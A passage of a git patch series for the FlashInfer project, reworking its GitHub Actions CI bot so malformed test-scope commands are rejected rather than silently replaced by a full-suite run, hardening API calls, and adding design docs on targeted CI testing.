But every rejected scope cost a spurious full matrix. Drop the phrase from the body. Verified the corrected text does not fire the guard while all real trigger forms still do: @flashinfer-bot run label + full suite guard fires @flashinfer-bot run tests/.../x.py label + scoped guard fires @flashinfer-bot run please label + full suite + note guard fires - GUARD DOES NOT FIRE Left a comment at the site so the phrase is not helpfully restored later. This workflow has no bot-author guard at all; adding one is the robust fix but belongs to whoever owns the bot's identity, not to this PR. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 8e1726b7ae8..53d3f125473 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -162,9 +162,15 @@ jobs: mapfile -t CHUNKS < <(python3 scripts/pr_checks/experimental_test_scope.py \ --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) else + # This body must NOT contain the bot's own trigger phrase. The job guard + # is `contains(comment.body, '@flashinfer-bot')` with no bot-author + # exclusion, and this comment is posted with a PAT -- GitHub only + # suppresses re-triggering for GITHUB_TOKEN. Quoting the phrase here made + # the bot answer itself, re-apply run-ci, and start a second full GPU run + # for every rejected scope. gh pr comment ${{ github.event.issue.number }} \ --repo ${{ github.repository }} \ - --body "Ignoring the text after \`@flashinfer-bot run\` and running the full suite -- it is not a valid test scope: $(cat /tmp/scope_err)" + --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err)" fi fi From 5dec08fd586961de4b06b3ffb8b1a8c90922c2a6 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:43:36 -0600 Subject: [PATCH 34/41] fix(ci): keep the label best-effort, and refuse ::selectors up front Two defects the fail-open branch still carried. 1. The courtesy comment was unguarded under `bash -e`, so a rate limit or a transient 5xx while posting it aborted the step BEFORE the run-ci label -- reinstating the exact "a comment starts no CI" failure 0be85f78 exists to prevent. Demonstrated with a stubbed gh: unguarded: step exit=1, "REACHED THE LABEL STEP" never printed guarded: warning printed, label step reached, exit=0 Starting CI matters; the note does not. Made it best-effort. 2. The validator accepted pytest ::selectors, which the runner cannot consume anywhere: _validate_selection does Path(t).exists() -- false for "file.py::test_x" -- and collection branches on is_file() and otherwise rglobs the target as a directory, so a selector reaches neither branch. A scoped run claimed three GPU runners and died with "test path does not exist", deep and unactionable. exists('tests/.../test_experimental_api.py') = True exists('tests/.../test_experimental_api.py::test_gate_...') = False Supporting ::selectors means changing scripts/test_sharding/runner.py, which every lane in the repo runs through -- out of scope here. Refuse them at the validator, where the answer lands on the comment instead, and stop .github/pull_request_template.md advertising a form that cannot work. The template promised it (`file::test`), so this was reachable by following the documented instructions. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/pull_request_template.md | 4 ++-- .github/workflows/ci-bot-commands.yml | 8 +++++++- scripts/pr_checks/experimental_test_scope.py | 21 +++++++++++++++++--- 3 files changed, 27 insertions(+), 6 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 026e97e9f7f..379b911a657 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -41,11 +41,11 @@ Thank you for contributing to FlashInfer! Before we review your pull request, pl Do not delete the fence or change its `experimental-tests` tag — CI reads it verbatim. --> ```experimental-tests -# One target per line: a directory, a file, or file::test. Must be under +# One target per line: a directory or a file. (A pytest ::selector is not +# supported -- the sharding runner cannot consume one.) Must be under # tests/experimental/ and must exist. Delete these comment lines and add yours, e.g. # # tests/experimental/test_my_backend.py -# tests/experimental/test_my_backend.py::test_specific_case # tests/experimental/my_backend/ # # Declaring the whole tree (tests/experimental/) is allowed but means every diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 53d3f125473..267e06c2269 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -168,9 +168,15 @@ jobs: # suppresses re-triggering for GITHUB_TOKEN. Quoting the phrase here made # the bot answer itself, re-apply run-ci, and start a second full GPU run # for every rejected scope. + # + # Best-effort: the step runs under `bash -e`, so an unguarded failure here + # (rate limit, transient 5xx) would abort before the run-ci label is + # applied -- reinstating exactly the "comment starts no CI" bug this + # branch exists to prevent. Starting CI matters; the courtesy note does not. gh pr comment ${{ github.event.issue.number }} \ --repo ${{ github.repository }} \ - --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err)" + --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err)" \ + || echo "warning: could not post the scope-ignored note; continuing to label" fi fi diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index 57cfd472be2..5ca28282cd2 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -7,7 +7,7 @@ ```experimental-tests tests/experimental/test_foo.py - tests/experimental/test_bar.py::test_baz + tests/experimental/test_bar.py ``` Running the whole ``tests/experimental/`` tree gets slower and less relevant as @@ -115,6 +115,17 @@ def validate(targets: list[str], root: str = ROOT) -> list[str]: ] if bad: raise ValueError(f"targets outside {root}: {', '.join(bad)}") + # scripts/test_sharding/runner.py cannot take a pytest ::selector. It checks + # Path(target).exists() (false for "file.py::test_x") and, in collection, branches + # on is_file() and otherwise rglobs the target as a directory -- so a selector + # reaches neither branch usefully. The lane would claim GPU runners and then die + # with "test path does not exist", deep and unactionable. Refuse it here instead. + selectors = [x for x in targets if "::" in x] + if selectors: + raise ValueError( + "pytest ::selectors are not supported by the test runner; name the file " + "instead of a single test: " + ", ".join(selectors) + ) # Counted after de-duplication, matching how the runner counts. unique = len(set(targets)) if unique > MAX_TARGETS: @@ -182,8 +193,8 @@ def _selftest() -> int: ["tests/experimental/"], ), ( - "```experimental-tests\ntests/experimental/t.py::test_x # why\n```", - ["tests/experimental/t.py::test_x"], + "```experimental-tests\ntests/experimental/t.py # why\n```", + ["tests/experimental/t.py"], ), ( "```experimental-tests\n\ntests/experimental/a.py\ntests/experimental/b.py\n\n```", @@ -219,6 +230,10 @@ def _selftest() -> int: "two blocks", ), ("```\ntests/experimental/a.py\n```", "untagged fence"), + ( + "```experimental-tests\ntests/experimental/a.py::test_x\n```", + "pytest ::selector the runner cannot consume", + ), ] failures = 0 # check_exists is covered separately: parse() is shape-only by design, so the From 78159d97afbe7e229f441b429e3476d683c843b1 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:44:08 -0600 Subject: [PATCH 35/41] fix(ci): say that the full-suite fallback skips tests/experimental/ The fallback tells the requester their scope was ignored and the full suite is running. For an experimental-track PR that reads as reassuring and is misleading: pytest.ini's norecursedirs keeps tests/experimental/ out of the full suite entirely, and part5 names one file. So someone who asked for experimental tests and mistyped gets a green that covers none of them. Nothing behavioural -- the note now says so. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 267e06c2269..39ec9cd4685 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -175,7 +175,7 @@ jobs: # branch exists to prevent. Starting CI matters; the courtesy note does not. gh pr comment ${{ github.event.issue.number }} \ --repo ${{ github.repository }} \ - --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err)" \ + --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err). Note the full suite does NOT cover tests/experimental/, which only runs from a valid scope." \ || echo "warning: could not post the scope-ignored note; continuing to label" fi fi From 412efeb7731ef590581a405fa43a5880642e20a9 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 00:54:03 -0600 Subject: [PATCH 36/41] fix(ci): a chunking failure must reach the fallback note, not vanish chunk() sat outside main()'s try/except, so a target too long to split raised an uncaught traceback; and the caller read it through `mapfile -t CHUNKS < <(python3 ...)`, which reports mapfile's status and never the child's. The step therefore continued with an empty CHUNKS: full suite substituted, exit 0, and NO note posted -- the one outcome 0be85f78 explicitly promises cannot happen. before: traceback in the job log, rc=0 from mapfile, label applied, silent after: experimental test scope: target longer than the 140-character chunk limit and so cannot be split: ... (exit 1 -> fallback + note) Two halves, both needed: chunk() moves inside the guard so it yields a clean message, and the workflow captures the chunk output and checks its status before splitting, instead of trusting mapfile. Found by the completeness critic, which noted this was the only fallback route that violated the branch's own stated contract. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 14 +++++++++++--- scripts/pr_checks/experimental_test_scope.py | 18 ++++++++++++++++-- 2 files changed, 27 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 39ec9cd4685..7a6100c29ba 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -156,11 +156,19 @@ jobs: # or a backticked path must still start the full suite the way it always # did. Failing closed here would turn the trigger into a no-op and the # only signal would be a red bot job on a PR with no test checks at all. + # + # Both calls are inside the same condition on purpose. `mapfile < <(...)` + # reports the status of mapfile, never of the child, so chunking used to + # fail (a target too long to split) while the step sailed on with an empty + # CHUNKS -- full suite substituted, and no note posted, which is precisely + # what this branch promises not to do. Capture first, check, then split. if SCOPE=$(python3 scripts/pr_checks/experimental_test_scope.py \ --targets "$ARGS" --root tests/ --no-check-exists --test-path \ - 2>/tmp/scope_err); then - mapfile -t CHUNKS < <(python3 scripts/pr_checks/experimental_test_scope.py \ - --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140) + 2>/tmp/scope_err) \ + && CHUNKED=$(python3 scripts/pr_checks/experimental_test_scope.py \ + --targets "$SCOPE" --root tests/ --no-check-exists --chunk 140 \ + 2>>/tmp/scope_err); then + mapfile -t CHUNKS <<< "$CHUNKED" else # This body must NOT contain the bot's own trigger phrase. The job guard # is `contains(comment.body, '@flashinfer-bot')` with no bot-author diff --git a/scripts/pr_checks/experimental_test_scope.py b/scripts/pr_checks/experimental_test_scope.py index 5ca28282cd2..dce1751707b 100755 --- a/scripts/pr_checks/experimental_test_scope.py +++ b/scripts/pr_checks/experimental_test_scope.py @@ -286,6 +286,15 @@ def _selftest() -> int: ) failures += 1 + # An unsplittable target must surface as a clean ValueError from main()'s guard, + # not as a traceback, because the caller cannot see the exit status. + try: + chunk([ROOT + "t_" + "z" * 200 + ".py"], 140) + print("FAIL (unsplittable target accepted by chunk)", file=sys.stderr) + failures += 1 + except ValueError: + pass + # Bounds behaviour, relative to whatever the (now-pinned) constant is. try: validate([f"{ROOT}test_{i}.py" for i in range(MAX_TARGETS)], ROOT) @@ -404,11 +413,16 @@ def main() -> int: validate(targets, args.root) if not args.no_check_exists: check_exists(targets, args.repo_root) + # Inside the try: chunk() raises ValueError for a target too long to split, + # and an uncaught traceback here is worse than it looks -- the caller reads + # this through `mapfile < <(...)`, which discards the child's status, so the + # scope silently became "full suite" with no note to the requester. + chunked = chunk(targets, args.chunk) if args.chunk else None except ValueError as e: print(f"experimental test scope: {e}", file=sys.stderr) return 1 - if args.chunk: - print("\n".join(chunk(targets, args.chunk))) + if chunked is not None: + print("\n".join(chunked)) else: print(" ".join(targets) if args.test_path else "\n".join(targets)) return 0 From 5f3fa4426123adb23f2c81e1a4a2db52e2e118ec Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 01:30:59 -0600 Subject: [PATCH 37/41] fix(ci): a GitHub API blip must not cost the run-ci label HEAD_SHA=$(gh pr view ...) and PREV_MAX=$(gh api .../status) are both new in this PR -- neither exists on main -- and both were unguarded under `bash -e` on the path that every `@flashinfer-bot run` takes, bare or scoped. A transient 5xx or secondary rate limit on either aborted the step before `gh pr edit --add-label run-ci`, so CI silently did not start for whoever typed the command, on any PR in the repo. That is the same failure class as 0be85f78 and 5dec08fd, on the two calls that predate my range and so were never in scope for either. Scope publishing is best-effort bookkeeping; labelling is how CI starts in this repo. Guarded both, defaulted PREV_MAX to 0 (at worst a stale trailing chunk, strictly better than no CI), and made publish_chunk a no-op without a SHA rather than POSTing to an empty path. all gh calls succeed label=YES gh pr view fails (blip) label=YES (was: NO -- CI would not start) gh api status fails (blip) label=YES (was: NO -- CI would not start) This is the only defect found tonight whose blast radius is the whole repo rather than the scoped-run path, which is why it is worth one more cycle. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 7a6100c29ba..70831d39b7e 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -129,8 +129,15 @@ jobs: # # Keying on the head SHA makes staleness structural: a new push is a new SHA # with no scope status, so an old scope cannot be resurrected by re-labelling. + # Guarded: this step runs under `bash -e` and everything below it is + # best-effort scope bookkeeping, but `gh pr edit --add-label run-ci` at the + # end is THE way CI starts in this repo. An unguarded network call here + # means a transient GitHub blip silently starts no CI for whoever typed the + # command -- on every PR, not just scoped ones. Publishing the scope may + # fail; labelling may not. HEAD_SHA=$(gh pr view ${{ github.event.issue.number }} \ - --repo ${{ github.repository }} --json headRefOid -q .headRefOid) + --repo ${{ github.repository }} --json headRefOid -q .headRefOid) \ + || HEAD_SHA="" ARGS=$(printf '%s' "$COMMENT_BODY" | tr -d '\r' \ | sed -nE 's/.*@[Ff]lashinfer-bot[[:space:]]+run[[:space:]]+(.*)$/\1/p' \ @@ -191,12 +198,19 @@ jobs: # There is no DELETE for statuses, but re-posting a context supersedes it, so # a scope that shrank has its leftover chunks updated to empty; otherwise # pr-test would reassemble stale trailing paths. + # Same reasoning as HEAD_SHA: a failure here must not cost the label. 0 means + # "assume no previous chunks", which at worst leaves a stale trailing chunk + # -- strictly better than starting no CI at all. PREV_MAX=$(gh api "/repos/${{ github.repository }}/commits/${HEAD_SHA}/status" \ --jq '[.statuses[].context | select(test("^ci/test-scope-[0-9]+$")) - | sub("^ci/test-scope-"; "") | tonumber] | max // 0') + | sub("^ci/test-scope-"; "") | tonumber] | max // 0') \ + || PREV_MAX=0 + PREV_MAX=${PREV_MAX:-0} publish_chunk() { + # No SHA means no status to key on; skip rather than POST to an empty path. + [ -n "${HEAD_SHA}" ] || return 0 gh api -X POST "/repos/${{ github.repository }}/statuses/${HEAD_SHA}" \ -f state=success \ -f context="ci/test-scope-$1" \ From 71b6a6b8aa92b655758605a3bd71208e54e03ec3 Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 02:29:16 -0600 Subject: [PATCH 38/41] feat(ci): reject malformed scopes, and record the CI design Two changes that belong together: the behaviour, and the rationale that was missing for it. **Behaviour.** A scope that does not validate is now rejected the way this repo already rejects any malformed or unauthorized command -- react 'confused', say why, and do not apply the label -- instead of being ignored in favour of a full-suite run. Degrading looked like the safe choice and is not. The experimental track exists to land features same-day via targeted CI; substituting the full matrix drops the PR off the fast lane, and because norecursedirs excludes tests/experimental/ from the default suite, it also runs none of the declared tests -- then reports green. The caller is usually an automated watcher, which can retry a loud rejection and cannot detect a quiet substitution. This deletes the fail-open branch rather than adding machinery. Verified live against a sandbox mirror of the handler: valid scope label=[run-ci] CI starts backticked path label=[] rejected, no CI prose label=[] rejected, no CI bare run label=[run-ci] CI starts **Docs.** The PR shipped a design record for what an experimental API is, but none for how one is tested and lands, so the reasoning existed only in maintainers' heads. Split into two, because the CI half is general infrastructure other documents will want to cite: - docs/design_docs/ci_bot_and_targeted_testing.md -- the two CI systems and why the split is an infra artifact, the accept/reject/unrecognized vocabulary automation depends on, why the scope travels as a commit status keyed to the head SHA rather than by comment scanning, why it is chunked, and the three constraints worth knowing: the handler is untestable by PR CI, the trigger phrase matches anywhere in a comment body, and a narrowed green does not mean everything passed. - docs/design_docs/experimental_track_ci.md -- the same-day mission, the watcher, why targeted testing is the mechanism rather than an exception, and the declared-scope contract. Cross-linked from CONTRIBUTING.md and the existing experimental design doc. AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 45 +++++--- CONTRIBUTING.md | 2 + .../ci_bot_and_targeted_testing.md | 103 ++++++++++++++++++ .../experimental_apis_and_backends.md | 1 + docs/design_docs/experimental_track_ci.md | 73 +++++++++++++ 5 files changed, 206 insertions(+), 18 deletions(-) create mode 100644 docs/design_docs/ci_bot_and_targeted_testing.md create mode 100644 docs/design_docs/experimental_track_ci.md diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 70831d39b7e..1de000b186d 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -157,12 +157,8 @@ jobs: # it runs must be the trusted copy from the base branch. Whoever issues the # trigger can check existence up front, and pytest errors on a missing path. # - # An unparseable scope degrades to the full suite; it never withholds CI. - # `@flashinfer-bot run` is this repo's primary CI trigger and predates - # scoping, so trailing prose ("run please", "run thanks!"), a -k selector, - # or a backticked path must still start the full suite the way it always - # did. Failing closed here would turn the trigger into a no-op and the - # only signal would be a red bot job on a PR with no test checks at all. + # A scope that does not validate is rejected, not degraded -- see the + # else branch below for why. # # Both calls are inside the same condition on purpose. `mapfile < <(...)` # reports the status of mapfile, never of the child, so chunking used to @@ -177,21 +173,34 @@ jobs: 2>>/tmp/scope_err); then mapfile -t CHUNKS <<< "$CHUNKED" else - # This body must NOT contain the bot's own trigger phrase. The job guard - # is `contains(comment.body, '@flashinfer-bot')` with no bot-author - # exclusion, and this comment is posted with a PAT -- GitHub only - # suppresses re-triggering for GITHUB_TOKEN. Quoting the phrase here made - # the bot answer itself, re-apply run-ci, and start a second full GPU run - # for every rejected scope. + # A malformed scope is a malformed command, and this repo already answers + # those one way: react 'confused' and do nothing (see "Unauthorized + # user"). Reject rather than degrade, to match. # - # Best-effort: the step runs under `bash -e`, so an unguarded failure here - # (rate limit, transient 5xx) would abort before the run-ci label is - # applied -- reinstating exactly the "comment starts no CI" bug this - # branch exists to prevent. Starting CI matters; the courtesy note does not. + # Degrading to the full suite looked safer and is not. The experimental + # track exists to land features same-day via *targeted* CI; silently + # substituting the full matrix drops the PR off the fast lane, takes + # hours instead of minutes, tests none of what was asked for, and still + # reports green. The caller is usually an automated watcher, which can + # retry a loud rejection and cannot detect a quiet one. + # + # The body must not contain the bot's own trigger phrase: the job guard + # is contains(comment.body, '') with no bot-author exclusion, and + # this is posted with a PAT, which GitHub does not suppress. Quoting it + # made the bot answer itself and restart CI. + # + # Both calls are best-effort under `bash -e`; neither a failed note nor a + # failed reaction should change the outcome, which is "no label, no CI". gh pr comment ${{ github.event.issue.number }} \ --repo ${{ github.repository }} \ - --body "Ignoring the trailing text on that command; running the full suite instead -- it is not a valid test scope: $(cat /tmp/scope_err). Note the full suite does NOT cover tests/experimental/, which only runs from a valid scope." \ - || echo "warning: could not post the scope-ignored note; continuing to label" + --body "Rejected: not a valid test scope -- $(cat /tmp/scope_err). Re-issue with a corrected path list, or with no arguments for the full suite." \ + || echo "warning: could not post the rejection note" + gh api -X POST \ + "/repos/${{ github.repository }}/issues/comments/${{ github.event.comment.id }}/reactions" \ + -f content='confused' > /dev/null \ + || echo "warning: could not react" + echo "Rejected malformed scope; run-ci not applied." + exit 0 fi fi diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9e1ead8359c..10e6112bc2d 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -124,6 +124,8 @@ FlashInfer has two CI systems: a public CI running on GitHub Actions and an NVID Public CI runs AOT build tests (x64/arm64) and GPU unit tests across different hardware on AWS self-hosted runners. +The commands below are the user-facing reference. The design behind them -- why there are two CI systems, how a run is narrowed to specific tests, and the constraints that follow -- is recorded in [`docs/design_docs/ci_bot_and_targeted_testing.md`](docs/design_docs/ci_bot_and_targeted_testing.md). + Public CI does not start on its own for any PR. Commenting `@flashinfer-bot run` starts it, and works for anyone who can label the PR as well as for members of the `ci-users` team. Adding the `run-ci` label by hand does the same, for anyone whose permissions let them label a PR. This applies to everyone, including maintainers. Starting CI applies to the commit that is current at that moment. Pushing new commits, rebasing, or merging `main` into your branch does **not** start a new run, so ask for `@flashinfer-bot run` again once your PR is ready for a final check. Note that GitHub requires the checks to pass on the last commit before a PR can merge. diff --git a/docs/design_docs/ci_bot_and_targeted_testing.md b/docs/design_docs/ci_bot_and_targeted_testing.md new file mode 100644 index 00000000000..5d574f14427 --- /dev/null +++ b/docs/design_docs/ci_bot_and_targeted_testing.md @@ -0,0 +1,103 @@ +# CI Triggering and Targeted Testing + +This document records the design of FlashInfer's CI triggering: how a run starts, how a run +can be narrowed to specific tests, and the constraints that follow. The user-facing command +reference lives in [`CONTRIBUTING.md`](../../CONTRIBUTING.md); this document records *why* +the mechanism is shaped the way it is. + +It is infrastructure, not feature-specific. Other documents are expected to refer to it +rather than restate it. + +## Two CI systems + +FlashInfer's public CI is bifurcated: + +| | trigger | tests | +|---|---|---| +| GitHub Actions | a `run` comment addressed to the CI bot | JIT tests | +| GitLab | `/bot run TEST_PATH` | the same JIT tests | + +**The split is an infrastructure artifact, not a design choice.** The two systems run the +same tests on different GPUs. Automation may drive either or both, and a caller should not +have to care which. + +Historically only GitLab accepted a test path. The GitHub command took no arguments, so a +GitHub run was always the full matrix. + +## The command vocabulary + +The bot answers a comment in one of three ways, and this vocabulary is load-bearing — +automation depends on being able to tell the outcomes apart: + +| outcome | response | effect | +|---|---|---| +| accepted | react `+1` | CI label applied, run starts | +| rejected | react `confused` | nothing; no label, no run | +| unrecognized | nothing | nothing | + +A malformed *argument* is a malformed *command*, and gets the rejection response. It is not +downgraded into a different, still-successful command — see "Reject, do not degrade" below. + +## What actually starts CI + +It is the *application* of the CI label that starts a run, not the label being present. The +handler therefore removes the label before adding it, so that re-issuing a command works. +Consequently a label already sitting on a PR after a run does nothing. + +A run is bound to the commit that was current when it started. Pushing, rebasing, or merging +does not start a new run. + +## Transporting a test path + +A narrowed scope travels from the requester to the test lanes as **commit statuses** on the +head SHA (`ci/test-scope-1..N`), not by re-scanning comments. + +**Why not comment scanning.** A PR accumulates commands; scanning makes "the current scope" +ambiguous and lets an old request resurface. Keying to the head SHA makes staleness +structural instead: a new push is a new SHA carrying no scope, so a stale scope cannot be +revived by re-triggering. + +**Why chunked.** A status description caps at 140 characters, which fits only two or three +real test paths. A scope is therefore split on path boundaries across numbered statuses and +reassembled by index. Because commit statuses cannot be deleted, only superseded, a scope +that shrinks re-publishes its leftover chunks as empty. + +**Charset.** Requested paths are validated against a strict charset before use. The value +reaches a shell, so "starts with `tests/` and has no `..`" is not sufficient — a legal +filename can still carry shell metacharacters. + +## Reject, do not degrade + +When a requested scope does not validate, the command is rejected. The tempting alternative +is to ignore the bad argument and run the full suite, on the reasoning that starting some CI +beats starting none. + +That reasoning fails for two reasons. + +**It is not what was asked for.** A narrowed run and a full run differ in duration by hours. +Silently substituting one for the other, and then reporting success, tells the requester +their request succeeded when it did not. + +**The caller is frequently automation.** A machine can retry a loud rejection. It has no way +to detect a quiet substitution, because the observable outcome — a green check — is identical. + +Rejection is also simpler: there is no heuristic separating "a mistyped path" from "an +English sentence", because neither is a valid scope. + +## Constraints worth knowing + +**The comment handler cannot be tested by CI on a pull request.** `issue_comment` workflows +are loaded from the repository's default branch, so no run on a PR ever executes that PR's +version of the handler; it takes effect only once merged. Changes to it must be carried by +review, and are best verified out-of-band against a scratch repository where the handler can +be merged and exercised directly. + +**The trigger phrase is matched anywhere in a comment body.** Writing *about* a command +therefore issues it, including from inside code spans, fenced blocks and quoted replies. +Since the handler re-applies the CI label, and that cancels in-progress runs, an incidental +mention can cancel and restart a multi-hour run. Automation that comments on a PR it is also +driving must avoid reproducing the phrase. + +**A narrowed run is not a full run.** The GPU lanes change name and the summary states the +scope, but the required check reports success either way. Green on a narrowed run means +"what was asked for passed", not "everything passed". diff --git a/docs/design_docs/experimental_apis_and_backends.md b/docs/design_docs/experimental_apis_and_backends.md index ffd6fb1cadf..399018c03c0 100644 --- a/docs/design_docs/experimental_apis_and_backends.md +++ b/docs/design_docs/experimental_apis_and_backends.md @@ -1,6 +1,7 @@ # Experimental APIs and Backends in FlashInfer This document records the motivation and design decision; the normative policy is [`flashinfer/experimental/README.md`](../../flashinfer/experimental/README.md).* +How an experimental PR is tested and lands is covered in [`experimental_track_ci.md`](experimental_track_ci.md); the general CI triggering design it builds on is [`ci_bot_and_targeted_testing.md`](ci_bot_and_targeted_testing.md). ## Overview diff --git a/docs/design_docs/experimental_track_ci.md b/docs/design_docs/experimental_track_ci.md new file mode 100644 index 00000000000..8d1369e2df9 --- /dev/null +++ b/docs/design_docs/experimental_track_ci.md @@ -0,0 +1,73 @@ +# CI for the Experimental Track + +This document records how an experimental-track pull request is tested and lands. It builds +on [`ci_bot_and_targeted_testing.md`](ci_bot_and_targeted_testing.md), which records the +general CI triggering and targeted-testing design; the policy for what an experimental API +or backend *is* lives in [`experimental_apis_and_backends.md`](experimental_apis_and_backends.md). + +## Why the track needs its own CI story + +The experimental track exists to land fast-moving features **quickly**, under a declared +lifetime and a distinct workflow. Speed is the point, not a side effect. The intended path is + +``` +open -> screen -> review -> approve -> CI -> auto-merge -> nightly release, same day +``` + +Most of that is meant to be automated: a background watcher shepherds the pull request and +is authorized to trigger CI on the author's behalf. + +**Targeted testing is the mechanism that makes same-day landing possible.** An experimental +PR runs the tests its author declares rather than the full matrix — minutes instead of hours. +This is why targeted testing is not a cost-saving exception for this track; it is the reason +the track can exist at all. + +Because GitHub's command historically took no arguments while GitLab's accepted a test path, +the same declared scope could narrow a GitLab run but not a GitHub one. Closing that +asymmetry is what makes the track's CI story work on both systems. + +## The declared scope + +An experimental PR declares its test scope in an `experimental-tests` block in the pull +request body. The body is the source of truth: + +- it is what a reviewer reads; +- it is what the watcher reads, to decide what to ask CI for; +- it survives independently of how many commands have been issued on the PR. + +The comment is transport, not the record. `scripts/pr_checks/experimental_test_scope.py` +parses the block for the watcher and validates targets for the handler, so both entry points +share one definition of a well-formed scope. + +## Why a rejected scope must not fall back to the full suite + +The general design already rejects malformed commands rather than degrading them. For this +track the argument is stronger, because degrading is actively harmful in two ways at once: + +**It defeats the mission.** Falling back to the full matrix drops the PR off the fast lane — +hours instead of minutes — which is precisely the outcome the track is built to avoid. + +**It runs none of the declared tests.** `tests/experimental/` is excluded from the default +suite by `norecursedirs`, so the substituted "full suite" does not cover the experimental +tree at all. The author asked for specific tests, none of them ran, and every check reported +green. + +A watcher driving the PR cannot detect this, because a degraded run and an honoured one both +end green. + +## Scope of testing, and what it does not prove + +A green targeted run means the declared tests passed on the declared hardware. It is not +evidence that the feature is ready for stable support, and graduation is governed by +[`experimental_apis_and_backends.md`](experimental_apis_and_backends.md), not by CI. + +## Non-goals + +This document does not: + +- unify the two CI systems, or claim the split is desirable; + +- make the experimental tree part of the default suite — that would slow every pull request + in the repository, which is the opposite of the intent; + +- describe the watcher's own implementation, which lives outside this repository. From b40af90fe3012880a52c1e62e3251d75c194124d Mon Sep 17 00:00:00 2001 From: Alex Yang Date: Fri, 4 Sep 2026 02:32:29 -0600 Subject: [PATCH 39/41] fix(ci): reject a scope that cannot be published, rather than degrading 5f3fa442 guarded HEAD_SHA so a transient API failure could not cost the run-ci label. That was right for a bare command and wrong for a scoped one: with HEAD_SHA empty, publish_chunk silently returns, no scope is published, the label is applied anyway, and a full-suite run substitutes for the narrowed one -- reporting green. That is the exact failure the reject contract exists to prevent, reintroduced by the guard. Make the guard conditional on whether a scope was actually requested. A bare command still labels unconditionally; a scoped one that cannot be published is rejected. Verified by extracting the step's real control flow and stubbing the failure: bare run + gh pr view ok -> LABEL_APPLIED bare run + gh pr view FAILS -> LABEL_APPLIED scoped run + gh pr view ok -> LABEL_APPLIED scoped run + gh pr view FAILS -> Rejected, run-ci not applied AI-assisted (Claude Code). Co-Authored-By: Claude Opus 5 --- .github/workflows/ci-bot-commands.yml | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/.github/workflows/ci-bot-commands.yml b/.github/workflows/ci-bot-commands.yml index 1de000b186d..313f41fc473 100644 --- a/.github/workflows/ci-bot-commands.yml +++ b/.github/workflows/ci-bot-commands.yml @@ -150,6 +150,24 @@ jobs: # test paths, so the scope is published across `ci/test-scope-N` statuses and # reassembled by pr-test.yml. Indices always start at 1, even for a single # chunk, so there is one code path rather than a special case. + # A scope was asked for but the head SHA could not be resolved: the scope + # cannot be published, so honouring the request is impossible. Reject rather + # than label -- labelling here would start a full-suite run in place of the + # narrowed one, silently, which is the failure this command's contract exists + # to avoid. A bare command has nothing to publish and is unaffected, which + # keeps the guard on HEAD_SHA from costing anyone their CI. + if [ -n "$ARGS" ] && [ -z "$HEAD_SHA" ]; then + gh pr comment ${{ github.event.issue.number }} \ + --repo ${{ github.repository }} \ + --body "Rejected: could not resolve this PR's head commit, so the requested test scope cannot be published. Please re-issue the command." \ + || echo "warning: could not post the rejection note" + gh api -X POST \ + "/repos/${{ github.repository }}/issues/comments/${{ github.event.comment.id }}/reactions" \ + -f content='confused' > /dev/null || echo "warning: could not react" + echo "Rejected: head SHA unresolved with a scope requested; run-ci not applied." + exit 0 + fi + CHUNKS=() if [ -n "$ARGS" ]; then # Charset and root only. Existence needs the PR's files, which this job From 